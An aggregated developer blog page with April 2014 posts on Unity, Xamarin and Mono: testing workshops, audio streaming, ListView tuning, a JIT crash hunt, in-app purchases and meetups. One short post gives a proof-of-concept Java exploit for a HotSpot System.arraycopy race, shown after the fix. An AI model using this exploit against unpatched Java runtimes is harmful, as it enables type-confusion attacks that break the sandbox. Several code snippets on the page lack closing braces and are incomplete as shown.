Disclaimer: this is an automatic aggregator which pulls feeds and comments from many blogs of contributors that have contributed to the Mono project. The contents of these blog entries do not necessarily reflect Xamarin's position.

April 24

Testing by gaming, ACCU and Ukraine

For several weeks I’ve been preparing a playtesting blank solution that contains integration tests based on Unity Test Tools and stubs for game objects.

Earlier this month, I was lucky enough to have the opportunity to present it at a workshop held at one of the best programming conferences in the world – ACCU conference. Each year, ACCU attracts top speakers from the computing community including Andrei Alexandrescu, James Coplien, Tom Gilb, Robert Martin, Kevlin Henney, Andrew Koenig, Eric S. Raymond, Guido van Rossum, Greg Stein, Bjarne Stroustrup and Herb Sutter.

Workshop attendees got access to the project source files which they could then work on in Unity. Scenes that contain tests are called “Level1”, “Level2” and so on. When you open the scene, the tests fail. The challenge is to start implementing functionality to make tests pass, and as you do so, the game starts growing.

When all the tests pass, you can proceed to the next level, and the process itself is like a game. After completing each level you can open the scene called “Game” and try it out.

If you’d like to play around with it, the Growing Games Guided by Tests project is available on GitHub. The game involves building an ultimate weapon of intergalactic destruction to fight back an invasion by green aliens: Have fun!

Solution packages are available for each level. If you get stuck, just navigate to the Solutions folder and open the package with the corresponding level name. Using these solutions you can navigate back and forth within the exercise. “Level 0” reverts the solution to its initial state.


My workshop gimmick is to trade chocolate coins for audience attention. If someone asks me a question or points to a mistake, I give them a chocolate coin in exchange. As it was a live coding session, I made both intentional and unintentional mistakes but the audience always noticed them.

They also asked lots of questions, even asking me to show how the tests were made and how to make one from scratch. That input that will let me make my next workshop much better. By the end I was right out of chocolate coins. Thanks guys!

On the conference’s second day I volunteered to hold a lightning talk: “Public Speaking for Geeks.” I’ve been holding talks since 2011, and when I delivered my first conference address it didn’t go smoothly. Actually, it was a failure. But I’ve learned a lot since then and I wanted to inspire people to try public speaking, learn from their experience and try again.

As you might already know, Unity Technologies has an office in Odessa, Ukraine; a beautiful city on the Black Sea coast. The Odessa office is home to 11 engineers from 3 teams: SDET, STE and Toolsmiths, and it’s where I’m based.

Ten minutes before my lightning talk, I got a message from my friend Tom Gilb: “Forget public speaking. Tell them about Ukraine!” It came as a shock. I suddenly realized how much I wanted to tell the truth about Ukraine, to tell people what has happened and how it affects us.

In a strange way this helped keep me calm and meant that my Public Speaking for Geeks address went well. Already, I had another idea for a talk I really wanted to hold.

The feedback I received after my Geek talk was very positive, and a number of people approached me the following day and told me that, after hearing my talk, they had also submitted lightning talk proposals. And that gave me extra motivation to talk about Ukraine.

In the end, the act of explaining the situation in my homeland to my audience made my talk a very emotional occasion, not least because of the feedback and support I received from so many people. ACCU, I already miss you.


Add Some Sweet Sound to Your App

Audio has paved the way for the explosion of mobile devices. First through the iPod, later the iPhone, and now Android and Windows Phone as well, portable music, radio and podcasts are among the most popular uses of these amazing devices. Apps built on Xamarin such as Rdio and gMusic are among the top music apps available. Thanks to the power of the Core Audio framework, your apps can create great audio experiences too.

gMusic 2

Core Audio is a C API created by Apple. However, Xamarin.iOS users can enjoy the friendly confines of C# to program against it, without the need to abruptly switch between Objective-C and C within the same code base. Rather than dealing with pointer soup and digging around in documentation to explore constants, you can work with object-oriented code, events and strong typing.

Core Audio is a low-level framework that underlays every audio feature in iOS. Higher-level frameworks such as the Media Player framework and AVFoundation build upon Core Audio. These frameworks are suitable for many scenarios and you should use them if they meet your needs. However, for more advanced capability, such as parsing an audio stream to enqueue and subsequently play, the lower-level Core Audio framework is at your disposal.

Streaming Audio

To stream audio using Core Audio involves:

  1. Creating an AudioFileStream to parse the stream.
  2. Retrieving the audio stream, such as over the web using HTTP.
  3. Parsing and decoding the bytes from the audio stream.
  4. Creating an audio queue to play the audio.
  5. Enqueuing audio data in the audio queue’s buffer.
  6. Starting the audio queue.
  7. Freeing the buffer on completion.

Core Audio streaming is particularly useful for scenarios such as playing live audio from the web, as demonstrated in the following screencast and explained below.

Parsing with AudioFileStream

Streaming with Core Audio involves first creating the AudioFileStream instance with event handlers wired up for the PacketDecoded and PropertyFound events respectively:

audioFileStream = new AudioFileStream (AudioFileType.MP3);
audioFileStream.PacketDecoded += OnPacketDecoded;
audioFileStream.PropertyFound += OnPropertyFound;

To retrieve the stream, use whatever HTTP API you prefer. I used NSUrlSession in this case. Once the bytes are available, parsing and decoding of the audio data happens by calling the AudioFileStream‘s ParseBytes method:

audioFileStream.ParseBytes (buffer, false);

As properties are parsed, the PropertyFound handler will be called. The key property to watch for is AudioFileStreamProperty.ReadyToProducePackets, which indicates that the audio data will be in the forthcoming packets. Therefore, this is an appropriate place to create the OutputAudioQueue:

void OnPropertyFound (object sender, PropertyFoundEventArgs e)
  if (e.Property == AudioFileStreamProperty.ReadyToProducePackets) {
    outputQueue = new OutputAudioQueue (audioFileStream.StreamBasicDescription);
    outputQueue.OutputCompleted += OnOutputQueueOutputCompleted;

Enqueing Audio Data

The PacketDecoded handler will be called with the audio packets. This is where we can enqueue the audio data in the audio queue’s buffer. To do so we:

  1. Allocate the buffer.
  2. Copy the raw audio data into the buffer.
  3. Enqueue the buffer.

The following code shows how to enqueue audio data:

IntPtr outBuffer;
outputQueue.AllocateBuffer (e.Bytes, out outBuffer);
AudioQueue.FillAudioData (outBuffer, 0, e.InputData, 0, e.Bytes);
outputQueue.EnqueueBuffer (outBuffer, e.Bytes, e.PacketDescriptions);

Playing Audio

To start the audio queue we simply call the Start method of the OutputAudioQueue:

var status = outputQueue.Start ();

If all works well, streaming audio will begin playing. The Start method returns an AudioQueueStatus value, which will be AudioQueueStatus.Ok if the queue successfully started. There are variety of other enum values that may be returned if something goes awry, ranging from an empty buffer to permission issues.

Since we’re dealing with unmanaged code under the covers, we need to clean up the buffer. The OutputCompleted event allows us to wire up a handler for just that. The queue’s FreeBuffer method will release the AudioQueue buffer, as shown below:

void OnOutputQueueOutputCompleted (object sender, OutputCompletedEventArgs e)
  outputQueue.FreeBuffer (e.IntPtrBuffer);

Core Audio let’s us drop down to gain low-level access to audio, enabling incredible audio experiences. I’m excited to see the audio apps you come up with!

The code from this post is available in my github repo.

Discuss this post in the Xamarin forums.

April 23

Getting Fit With Xamarin Apps

My StepCounter for iOSEvery day Xamarins are getting fit cycling, running, planking, rock climbing, and just about every other activity you can think of. We carry around our mobile devices with us every where we go and a few of us felt that they should be our fitness companions that rest in our pocket during these activities. A little over a month ago fellow Xamarin, Mike James, released My StepCounter for iOS. This is an elegant pedometer that takes advantage of the iPhone 5s’ built in M7 chip and the new Core Motion APIs in iOS 7. Best of all Mike also open sourced the entire project on GitHub for anyone to try out the source code for themselves.

My StepCounter AppIconToday, two new Xamarins are pleased to announce their fitness apps for Android. James Montemagno took the challenge of taking Mike’s My StepCounter and bringing it to Android using the latest Android 4.4 KitKat low power step sensor APIs. James combined this new API with animations and an ADO.NET database to take My StepCounter to the next level. Today, he announced that he has open sourced the project on GitHub and the app is available to download on Google Play.

My StepCounter for Android My StepCounter for Android

Xamarin Starter CompatibleMy StepCounter on both iOS and Android join a library of apps that were built to be Starter Edition Compatible. Starter Edition is our free tier, which allows anyone to get a taste of mobile development in C# by writing small apps which can be deployed to devices and published to app stores.

Bikr IconBikr AnimationsMaybe you prefer cycling over walking, well Jérémie Laval has you covered with Bikr. Bikr was built out of a passion for cycling and takes advantage of the latest Google Play Services Component to track your mileage while cycling on a daily, weekly, and monthly basis. In addition to tracking, Jérémie has also crafted some lovely animations to show you your progress. You can find Bikr available right now on Google Play and Jérémie is pleased to announce that he has open sourced Bikr for you to get your hands on.

Now that we have showed you a few of our apps we want you to show us your apps! Head over to our Community Forums where several of you have already been sharing the amazing apps that you have been creating with Xamarin.

Show Us Your Apps!

We can’t wait to see what you create with Xamarin.

The Mouse and the Asset Store: The Story of Ghost of a Tale

During the Ghost of a Tale Indiegogo campaign, many were surprised to learn that this game wasn’t the work of a whole studio of developers. According to Lionel Gallat, the veteran animator behind this little gem, being a one person studio isn’t what it used to be. And that’s a good thing.

“I get a lot of indispensable help from a lot of people. There are so many things I can’t do. I needed a proper programmer helping me. Same with music.” The crowdsourced funds allow him to pay freelancers and use the Unity Asset Store as much as he needs to.

“It’s indispensable, I find a lot of things there that are the building blocks of my game,” says Gallat. As an artist, he didn’t expect it to be so useful. “But soon enough, I found tools that I needed to build the game’s world. I don’t waste time trying to reinvent the wheel.”

When he worked as an animation director for such films as Despicable Me and The Lorax, big technical teams were available to adjust details at short notice. Often, he could just walk over to somebody’s desk and ask. As an indie developer, he doesn’t really have the same options.

Fortunately, the Unity community has been very helpful. “I send requests to developers of different assets, when I need some extra features. Most of the time, they’re really helpful and adjust the assets quickly, which is really great.”

However, in a few instances, communication with developers was an issue. “For example whenever there is an important bug to be fixed and the publisher is not quite responsive about it.” Gallat would like the publishers to consider how hard this is on small teams.“I’m mostly doing the thing on my own, so if they give up on support, there’s nothing I can do. Thankfully it doesn’t happen too often and the vast majority of publishers I worked with do offer excellent support.”

The assets that Lionel Gallat, aka Seith, praises the most are those that help him to achieve high-end graphics.

Decal textures are those that overlay other textures, providing a more detailed and realistic feel to the rocky terrain of the Ghost of a Tale world. Decal system allowed Gallat to use them easily and without burdening the performance of the game. And it’s one of those assets with helpful and swift support.  “It’s amazing. The support is top-notch, and this system allows me to slap beautiful decals anywhere I want at almost no cost. Oh, and it’s free—although I donated money because it’s so good,” he said.

Recently, all the game’s shaders have been converted to physically-based shaders using the Shader Forge tool. Why was this effort worth it? “It just looks so much better. Physically Based Shaders are more intuitive. Non physical shaders have always been a bit of a cheat and they tend to break in different lightning conditions,” explains Gallat.


But the main reason for the switch was that programming shaders took too much time. He needed an artist-friendly tool that would better suit his workflow.

“Shader forge is great, the manipulation, the UI, everything feels very integrated to Unity,” he says. “ The developer, Joachim Holmer, also assisted me with some customization. It was very fast, the features that I needed were already in the next beta.”

Ghost of a Tale is progressing at a brisk pace and Lionel Gallat hopes that his work will be even easier once he gets his hands on Unity 5, which he has already pre-ordered. “I’m really looking forward to all the graphics features, especially to real-time Global Illumination. Also, the Mecanim updates will come in handy.”

Whatever features are in the new version of Unity, however, the Ghost of a Tale developer plans to keep taking advantage of the Asset Store. “It’s always great to supplement skills that I don’t have. People specialize, develop very specific things that can be extremely useful”.

So when are we going to get our hands on the game? “We’ll probably going to show the game around at conventions in Europe during the summer. I really can’t wait to show that the screenshots that I post are in-game footage and not just concept-art!”

April 22

Tips & Tricks for Highly Performing Android ListViews

I have been working with Xamarin.Android for a long time now and one question I get asked quiet often is how to optimize the Android ListView. Xamarin apps are native apps, which means that out of the box your app will take advantage of all of the optimizations that come with these views in the framework; however, when Google implemented the ListView they left out a few additional optimizations that developers can take advantage of to ensure a great user experience. Let’s first look at how the ListView and their adapters actually work:

Cell Reuse in Android ListView Adapters

What we see here is that Android is optimized for cell reuse. It will never take the number of cells that are displayed and cycle through them, so as your user scrolls through the list and a cell goes off the screen it is put into a recycle bin and then put back on top to be reused again. Let’s look at the standard code out of the box when creating an adapter and then optimize it:

First I will create a simple item for my adapter. It consists of two TextViews and one ImageView.

A simple android list adapter cell


For this example I have created a new Adapter and inherited from BaseAdapter. When I implement the GetView method, I could simply inflate the view, find the controls, and set the properties on them:

public override View GetView (int position, View convertView, ViewGroup parent)
  var view = activity.LayoutInflater.Inflate (Resource.Layout.OptimizedItem, null);
  var textView1 = view.FindViewById<TextView> (Resource.Id.textView1);
  var textView2 = view.FindViewById<TextView> (Resource.Id.textView2);
  var imageView = view.FindViewById<ImageView> (Resource.Id.imageView);
  textView1.Text = Names [position];
  textView2.Text = Descriptions [position];
  imageView.SetImageResource (Names [position].ToLower().Contains ("xamarin") ?
				   Resource.Drawable.hexagongreen :
  return view;

There are a few issues with this implementation, which is that we are inflating the view and locating the controls each time GetView gets called. So let’s fix that.

Take Advantage of ConvertView

The first optimization we will want to make is to take advantage of the convertView that is passed into this method. In the official documentation for GetView it tells us exactly what the convertView is: “The old view to reuse, if possible. Note: You should check that this view is non-null and of an appropriate type before using. If it is not possible to convert this view to display the correct data, this method can create a new view.”

This means that if the convertView is null then we should inflate the view else we can simply fine the controls on view and set them.

public override View GetView (int position, View convertView, ViewGroup parent)
  var view = convertView;
  if(view == null) {
    view = activity.LayoutInflater.Inflate (Resource.Layout.OptimizedItem, null);
  var textView1 = view.FindViewById<TextView> (Resource.Id.textView1);
  var textView2 = view.FindViewById<TextView> (Resource.Id.textView2);
  var imageView = view.FindViewById<ImageView> (Resource.Id.imageView);
  textView1.Text = Names [position];
  textView2.Text = Descriptions [position];
  imageView.SetImageResource (Names [position].ToLower().Contains ("xamarin") ?
				   Resource.Drawable.hexagongreen :
  return view;

Now we will only inflate the view when necessary. This immediately leads to increased performance of our ListView, but we can do even better!

Implement a ViewHolder

The second issue I noted was that we are having to locate the controls with FindViewById every single time GetView is called, which can lead to performance issues. The way to get around having to use FindViewById is to implement a “ViewHolder” design pattern.

We will create a ViewHolder class to store all of the controls that are inside of the view so we can access them immediately without the need to use FindViewById each time. The first thing we will do is create a class to store the information:

private class MyViewHolder : Java.Lang.Object
  public TextView Name { get; set; }
  public TextView Description { get; set; }
  public ImageView Image { get; set; }

You might be wondering why we are inheriting from Java.Lang.Object, well the reason for this is because each view has a Tag property, that can be used to store information. The Tag property is of type Java.Lang.Object, so that forces us to inherit from it. Now that we have the ViewHolder setup we can finish the optimization by populating it, storing it inside the view, and accessing the controls from the holder instead of calling FindViewById:

public override View GetView (int position, View convertView, ViewGroup parent)
  MyViewHolder holder;
  var view = convertView;
  if(view != null)
    holder = view.Tag as MyViewHolder;
  if (holder == null) {
    holder = new MyViewHolder ();
    view = activity.LayoutInflater.Inflate (Resource.Layout.OptimizedItem, null);
    holder.Name = view.FindViewById<TextView> (Resource.Id.textView1);
    holder.Description = view.FindViewById<TextView> (Resource.Id.textView2);
    holder.Image = view.FindViewById<ImageView> (Resource.Id.imageView);
    view.Tag = holder;
  holder.Name.Text = Names [position];
  holder.Description.Text = Descriptions [position];
  holder.Image.SetImageResource (Names [position].ToLower().Contains ("xamarin") ?
				 Resource.Drawable.hexagongreen :
  return view;

There you have it, with just a few quick changes you will have your Adapters fully optimized to create the best user experience possible for your app. A few other notes, while I only mentioned the ListView these same optimizations can be used on your adapters for GridViews as well. Additionally, it is recommended to inherit from BaseAdapter instead of using an ArrayAdapter when exposing C# objects to avoid unnecessary bridge interaction when working in Xamarin.Android.

Discuss this blog post in the Xamarin Forums

On Hunting the Uncommon Elephant

Hunting bugs is fun.  And every now and then you get away alive with a story to bore your grandkids with (“In my days, we still hunted bugs with sticks and stones” and all).

First bug ever found. Taped into log for evidence.

GDC 2014 had another such trophy-worthy hunting safari in store for us.  We were five days away from presenting Unity 5 to the world when we “spotted” (well, it was kinda hard to miss) an ugly little elephant of a bug: our shiny new 64-bit editor was randomly crashing on OSX to the point of being completely unusable.  There’s just nothing like being up on stage to showcase how awesome your bug reporter is every couple minutes.

So, Levi, Jonathan and I dropped all the awesome stuff we’re working on (more stories we want to bore our grandkids with) and went stalking.  All we knew at that point was that it crashed somewhere in the native code that Mono generates at run-time.

As every programmer knows, when you’re faced with a bug that isn’t obvious, you simply start by gathering evidence.  Once you’ve learned enough about the bug’s behavioral patterns, you’ll eventually get a shot at it.  And with the clock ticking, we were ready to shoot at pretty much anything.

But we were stumped.  For an elephant, the bug turned out to be surprisingly agile and sneaky.

It seemed to happen only on OSX 10.9 although Kim saw something that looked markedly similar on Windows with his heavy duty memory debugger branch.  And if you enabled Guard Malloc on earlier versions of OSX, you got what looked fairly similar as well.  However, as it was crashing in random script code at arbitrary depths in the call hierarchy, it was difficult to say with certainty what was the same crash and what wasn’t.  And the crash could be consistent for ten consecutive runs only to be totally different for the next five.

So while Kim and I waded knee-high through memory and thigh-high through assembly code, Levi ran an extensive trace on all of Mono’s secret and not so secret activities to generate a gigabyte log and an editor that ran at the speed of my grandma.  This yielded the first interesting insight: apparently we were always compiling the method we crashed in right before things got ugly.

But what made it crash?  The immediate cause was that we were trying to execute code from an invalid address.  How did we get there?  A bug in Mono’s signal handling where we don’t resume properly?  A bug in Mono’s JIT compiler that won’t jump back properly to the compiled code?  A different thread corrupting stack memory on the main thread?  Fairies and grumkins? (for a bit, the latter seemed the most likely).

After two days of hunting, the elephant was still well alive and out and about.

So, Saturday night I equipped myself with a notebook, four different colored pens and an ample supply of beer from our trademark Unity fridge (carefully making sure I don’t touch the awful canned Christmas beer we still have stuck in its crevices ).  Then I spun up Unity instances until I had four different crashes frozen in the debugger, labeled them “Red Crash”, “Blue Crash”, “Green Crash”, and “Black Crash” and went to work with my respectively colored pens to take notes and draw some not-so-pretty diagrams of everything I found.

Here’s my notes for Blue Crash:


And that’s when I made my first discovery: in every case, the stack was 16 bytes larger than it should be!

That then led to the next discovery: for all crashes, looking at those extra 16 bytes turned up a return address back into the function we crashed in.  From a trace it was clear that in all cases we already had executed some calls from the same method, and at first I thought the address was from the last call we had traced.  However, closer inspection revealed that it was actually the return address for a call whose method had not been compiled yet!

This puzzled me for a moment as in some cases there were several calls in-between the last traced method and this call that hadn’t been compiled yet either.  Looking closer, however, revealed that we always had jumped around them.

So, then I looked at that function we apparently were supposed to return from…


And there we have it (highlighted in blue):  We were jumping in the wrong direction!

What Mono does here is create little “trampoline” functions that contain only a call to the JIT compiler and some data encoded into the instruction stream after the call (used by the JIT compiler to know which method to compile).  Once the JIT compiler has done its work, it will delete those trampolines and erase every trace of having hooked into the method call.

However, the call instruction you see there is what is called a “near call” which incidentally uses a signed 32-bit offset to jump relative to the next instruction.

And since a signed 32-bit number can reach only 2GB up and down and we’re running 64-bit here, we suddenly knew why heap memory layout played such a crucial role in reproducing the bug: once Mono’s trampolines were further than 2GB away from the JIT compiler, offsets wouldn’t fit anymore into 32-bit and would get truncated when emitting the call instruction.

At that point, Jonathan quickly pinpointed the right fix and by the time his Sunday was over, we had a stable working build ready in time for GDC.

You all know the history from there.  We successfully demoed Unity 5 at GDC 2014 to rave reviews and after launch, it quickly became the most beloved piece of software ever.  Oh wait, that bit is yet to come…

Before that launch, there’s a whole lot more black and blue crashes to fix :) .

Bikr, delicious ride tracker

Today I’m introducing Bikr, a new Android application to track your bicycle rides.

It’s a no fuss, down to fundamental app that records how many miles you cycle and gives you a roundup per day, week and month. It will also show how you compare with the previous corresponding metrics (i.e. yesterday, previous week, previous month).

Best of all is that you don’t have to do anything. Thanks to Google Activity Recognition APIs, the app will take care of itself meaning you can just bike and forget about it.

The app is built using Xamarin as you would expect and you can find the entire source code at garuma/bikr on GitHub. As usual, code is under the Apache 2.0 license which basically mean you can reuse whatever you want.

It’s also available for download on the Play Store.

This is a joint release with James Montemagno’s MyStepCounter Android app, check it out too!

April 17

Welcome Playnomics to the Unity Family!

More exciting news for you today!

We’re incredibly proud of our engine and development tools. We’re so pleased with where they are and where they’re going, that it would be easy to sit back and be happy with the impact our tools and business decisions have made in games development overall.

But game developers live and die not just by being able to create awesome games, but also by being able to connect with and keep a great audience.

We’re continuing our steps forward towards providing all of the developers using Unity the best tools to make their businesses a success after the process of creating an awesome game is complete. We announced the acquisition of Everyplay for this purpose, right before GDC and today we’re happy to tell you all that we’ve reached an agreement to acquire Playnomics and bring their talented and experienced team on board. As part of Unity, they’ll further develop their awesome technology to be part of the suite of services for Unity Cloud.

Much like Everyplay (even if very differently), Playnomics works on solving the challenges that developers face in unique ways. Playnomics has developed tools that help identify the ways that players interact with games and help you as a developer to make real-time decisions on how to interact with the community to keep them having fun and coming back for more.

The new integration of the Playnomics services into Unity Cloud is a work in progress, but once ready, you’ll have another tool in our increasingly comprehensive toolbelt of services you guys need to be successful across the board.

In the meantime, make sure to check out the new SDK. It’s currently available on the Playnomics website and will also be heading to the Asset Store soon. Give it a look!

David Helgason

Extending the Unity Editor

The Unity editor is almost infinitely extendable. While we’re always  working on improving all the out of the box functionalities of the editor, anybody can make custom extensions.

There are thousands of editor extensions out there, some are only used by developers on specific projects, but a lot of them are accessible through the Asset Store. They bring Unity to new heights, enable less experienced programmers to reach higher and save everybody some time.

It’s easy to get lost among the hundreds of assets in the Editor Extensions category, so we picked a few hidden treasures for your enjoyment. Check them out to make sure you’re not missing out on a good deal that can make your life easier!

JustLogic Visual Programming by Aqla Solutions

Do you have the whole logic of your game in your head? With this tool, you can bring it to life straight in the inspector or even in runtime! Seriously, if you’re looking for an easy to use, non-expensive visual scripting tool, give it a try. The publisher also made a series of tutorialsto help you get going.

uDev GUI Framework by Graveck

Graveck, one of the first studios to make a bet on Unity, is sharing their internal GUI toolset with the whole community. The asset builds on their long term relationship with the engine and therefore fits the editor like a snug glove. Smooooth!


Cruncher by RealWorldUnity.com

Having a Unity Pro, you’re probably serious about having properly designed and optimized models that don’t weigh down your game’s performance. The Cruncher is a big help along the way, especially for mobile devs. It reduces the polygons of your models right inside the editor.


Voxeland by Denis Pahunov

Step into the wonderful world of Voxeland! It’s basically a landscape creation tool that allows you to modify your both in editor and in-game in realtime. It comes with everything you need to start prototyping right away: land, cliff and grass textures, tree objects, shaders, scripts and even a simple sky. We spent wayyyy too much time just playing around with the demo!

Or make your own extensions!

Easy In App Purchases for iOS

Xamarin.iOS makes it easy to use Apple’s StoreKit API to include In App Purchasing in our iOS mobile applications. However, there’s quite a bit of repetitive code that has to be created for every app that includes it.

That’s where the new Xamarin.InAppPurchase component can help!

Xamarin.InAppPurchase in Use

Using Xamarin.InAppPurchase, we can easily and quickly add iTunes App Store In App Purchasing of products, features or subscriptions to our iOS mobile applications. All without any of the repetitive code required when calling StoreKit directly.

Working with Product Identifiers

By decorating our Product Identifiers with specific keywords, we can have Xamarin.InAppPuchase automatically handle things such as the product type, subscription duration, consumable quantities and downloading of hosted content from the iTunes App Store.

For example, we can use product.nonconsumable to define a non-consumable product, gold.coins.consumable_x25 a consumable package of 25 gold coins, magazine.subscription.duration1month an auto renewing monthly subscription and antivirus.nonrenewingsubscription.duration6months a non-renewing six month subscription.

So let’s take a look at how easy it is to get a list of available In App Products from the iTunes App Store with Xamarin.InAppPurchase by using the following code:

using Xamarin.InAppPurchase;
using Xamarin.InAppPurchase.Utilities;
public InAppPurchaseManager PurchaseManager = new InAppPurchaseManager ();
// Ask the iTunes App Store to return information about available In App Products for sale
PurchaseManager.QueryInventory (new string[] {

After this code runs, the PurchaseManager will contain a list of any valid products with all of the localized information read from the iTunes App Store, ready for us to display to the end user.

When the user is ready to buy a given item, we can use the following code to start the purchase process with the iTunes App Store:

// Ask iTunes App Store to purchase product
PurchaseManager.BuyProduct (Product);

We can then monitor several of the events exposed by the PurchaseManager to update the app’s UI or activate new content or features. At any time we can ask if a given product has been purchased using:

// Was the feature purchased?
if (PurchaseManager.ProductPurchased("my.nonconsumabe.feature")) {

In addition, Xamarin.InAppPurchase will automatically track our consumable product quantities and subscription expiration dates and provides methods to work with them easily.

Secure Automatic Persistence

The Xamarin.InAppPurchase component includes ways to automatically and securely persist the user’s purchased products. This information can be stored either to the app’s user preferences, a local file, iCloud, or our own custom persistence methods.

Now, let’s look at restoring previous purchase history that has been automatically saved by the Xamarin.InAppPurchase component. We’ll add the following code before our call to QueryInventory above:

// Setup automatic purchase persistence and load any previous purchases
PurchaseManager.automaticPersistenceType = InAppPurchasePersistenceType.LocalFile;
PurchaseManager.PersistenceFilename = "AtomicData";
PurchaseManager.shuffleProductsOnPersistence = false;
PurchaseManager.RestoreProducts ();

With this code in place the Xamarin.InAppPurchase component automatically saves any changes to the user’s purchased products and restores that history when our iOS app starts.

Simulating the iTunes App Store

There are several situations that can arise when working with In App Purchases, many of which can be hard to test for. The Xamarin.InAppPurchase component provides the ability to simulate interaction with the iTunes App Store so we can fully test out our application. This helps to ensure and provide a smooth, issue free In App Purchase experience for our users.

Xamarin.InAppPurchase running in simulation

When running in the simulation mode, decorate your product identifiers with specific keywords to test such things as invalid product IDs, failed purchases, hosted content download, etc. You can even test products before they are added to iTunes Connect and can test In App Purchases inside the iOS Simulator on a Mac.

Let’s look at how easy it is to run the Xamarin.InAppPurchase component in the simulation mode. We’ll modify our code above to look like the following:

// Initialize the purchase manager
PurchaseManager.simulateiTunesAppStore = true;
// Ask the iTunes App Store to return information about available In App Products for sale
PurchaseManager.QueryInventory (new string[] {
// Setup the list of simulated purchases to restore when doing a simulated restore of purchases
// from the iTunes App Store
PurchaseManager.simulatedRestoredPurchaseProducts = "product.nonconsumable,antivirus.nonrenewingsubscription.duration6months,content.nonconsumable.downloadable";

Now we can run our iOS mobile app and test interactions such as the purchasing of a product failing, downloading of hosted content failing halfway through, or any other event that can happen with In App Purchases.

For more details about the Xamarin.InAppPurchase component and to get a full demo iOS application built using it on the Xamarin Component Store.

April 16

Epic Evolve Sessions

Last year, Xamarin Evolve 2013 hosted over 80 training and conference sessions on a vast array of topics. This year will be even bigger. Join us in October for Xamarin Evolve 2014, with a full extra day to make room for even more amazing sessions. If you didn’t get to attend last years conference or just want to catch up on the great sessions that were presented you can watch online right now. Here are just a few of our favorites from Xamarin Evolve 2013 that you don’t want to miss:

How C# Saved My Marriage, Enhanced My Career, and Made Me an Inch Taller

with Scott Hanselman

Multiplatformism: Lessons Learned Bringing Bastion to Six New Platforms

with Andrew Wang

Getting the Most from Xamarin Studio

with Michael Hutchinson

Push Notifications with PushSharp

with Jonathan Dick

Buttons are a Hack

with Josh Clark

If you enjoyed these sessions, we have all the videos from Xamarin Evolve 2013 online. And you definitely don’t want to miss Xamarin Evolve 2014 in October — two full days of training from Xamarin University followed by three days live sessions from Xamarin and Industry experts. Don’t wait, Register for Evolve 2014 today!

Arraycopy HotSpot Vulnerability Fixed in 7u55

Here is a simple PoC exploit for the issue fixed here:

class Union1 { }
class Union2 { }

class arraytoctou {
  static volatile Union1 u1 = new Union1();

  public static void main(String[] args) {
    final Union1[] arr1 = new Union1[1];
    final Union2[] arr2 = new Union2[1];
    new Thread() {
      public void run() {
        for(;;) {
          try {
            System.arraycopy(arr1, 0, arr2, 0, 1);
            if (arr2[0] != null) break;
          } catch (Exception _) { }

    while (arr2[0] == null) {
      arr1[0] = null;
      arr1[0] = u1;


April 15

C# Meetups featuring Google Glass, Bluetooth LE & More

Community growth continues to be explosive with new Mobile .NET developer groups starting all over the world. This month, we have already seen the inaugural meeting for a new group in Paris, France, and we are pleased to announced two new groups in Tampa Bay, FL and Madison, WI! So, April isn’t over yet as it packed full meetups happing everywhere on vast topics from MvvmCross, Intro to Xamarin, and Bluetooth LE!

Mobile .NET Developers Meetups April 2014

Here are some upcoming Xamarin developer group meetups:

New Group: Tampa Bay Xamarin User Group usa flag

  • Tampa Bay, FL: Wednesday, April 16th 7:00PM
  • First TBXUG Meeting – Intro to Xamarin

Boston Mobile C# Developers Group usa flag

  • Cambridge, MA: Thursday, April 17th 6:30PM
  • Developing for Google GlassChris Hardy, Xamarin

.NET BC canada flag

  • Vancouver, BC: Tuesday, April 22nd 6:00PM
  • Cross Platform Mobile Development for the C# Developer with XamarinJames Montemagno, Xamarin

New Group: Madison Mobile .NET Developers Group us

  • Madison, WI: Wednesday, April 23rd 5:30PM
  • Introduction to Xamarin

Dutch Mobile .NET Developers Group Netherlands flag

  • Aalsmeer, Netherlands: Thursday, April 24th 6:00PM
  • Responsive design and Bluetooth LE

Vancouver .NET Mobile Developers Group Canada

  • Vancouver, BC: Thursday, April 24th 6:30PM
  • Mobile Development Techniques using C# and MvvMCross

Detroit Mobile .Net Users Group us

  • Southfield, MI: Monday, April 28th 6:00PM
  • Build / Xamarin Recap, Humanitarian Toolbox

Sydney Mobile .Net Developers Group Australia Flag

  • Sydney, Australia: Tuesday, April 29th 6:30PM
  • Build 2014 and Cross Platform Visual State Management

If you don’t see your city listed above, don’t worry as new events and developer group meetups are being added frequently on the Xamarin Events forum.

If you are interested in starting a developer group in your city we are here to help you get started. We have tips and trick on staring a developer group, a brand new introduction to Xamarin slide deck, and of course our community sponsorship program to get you on your way. We also want to hear from you so please feel free to send us an email or tweet @XamarinHQ so we can help spread the word and continue to grow the Xamarin community.

April 14

Documentation for our new iOS Designer

The team has put together some beautiful getting started documentation for our iOS User Interface Designer.

In particular, check a couple of hot features on it:

Mono on PS4

We have been working with a few PlayStation 4 C# lovers for the last few months. The first PS4 powered by Mono and MonoGame was TowerFall:

We are very excited about the upcoming Transistor, by the makers of Bastion, coming out on May 20th:

Mono on the PS4 is based on a special branch of Mono that was originally designed to support static compilation for Windows's WinStore applications [1].

[1] Kind of not very useful anymore, since Microsoft just shipped static compilation of .NET at BUILD. Still, there is no wasted effort in Mono land!

Turn your character into a player!

This blog post will run you through the steps to import, animate and control your character as a player in Unity. It is designed to be 3D package agnostic, so whether you use Max, Maya, Blender or any of the many supported modelling programs, you should find what you need to turn your character model into a player in a Unity scene. The sample assets will provide all the animations needed for controlling the character, but of course you can add you own. In this example I’ve created a Lola3000 character inspired by Barberella, Soroyama & Metropolis amongst other influences and brought her to life, running through a tricky landscape of floating islands high above a sci-fi cityscape. NewMainImage

Follow the 12 Steps

We’ll begin with steps you can use to prepare and rig your character, before adding BlendShapes, verifying and then importing your rigged file into Unity. We’ll then set up some of the materials and shaders so that you can get your character looking it’s best. Next we will be creating an avatar to match your character rig and set it up for animation using a 3rd person controller with the Unity sample assets. We’ll load in a custom animation and setup a blendshape layer to further customise the character. Finally we’ll add lights and fx to the environment and camera to finish the look. SupportingImage_02   1 Preparing your Model Unity is a real-time platform, so prepare your model to look good without breaking the bank polygon wise. Name your materials and textures sensibly and use normal maps for extra detail, there are no polygon limits but the more you use, the less you have to spend on environment, FX and other characters. 5-25,000 can be a good range to aim for, depending on platform – so reduce polygons with the tools in your 3D package where necessary. Place your textures in a folder called textures within your Unity project assets folder and re-path them before you export. Character2Player__0000_Step_001   2 Rigging your character This stage will depend on your 3D package, skills and time available. Once your model is prepared in a t-pose you can either create a bone hierarchy from scratch – assigning skin weights – use your 3D package in-built tools to generate and skin to a skeleton, or use a fully automated solution like Mixamo 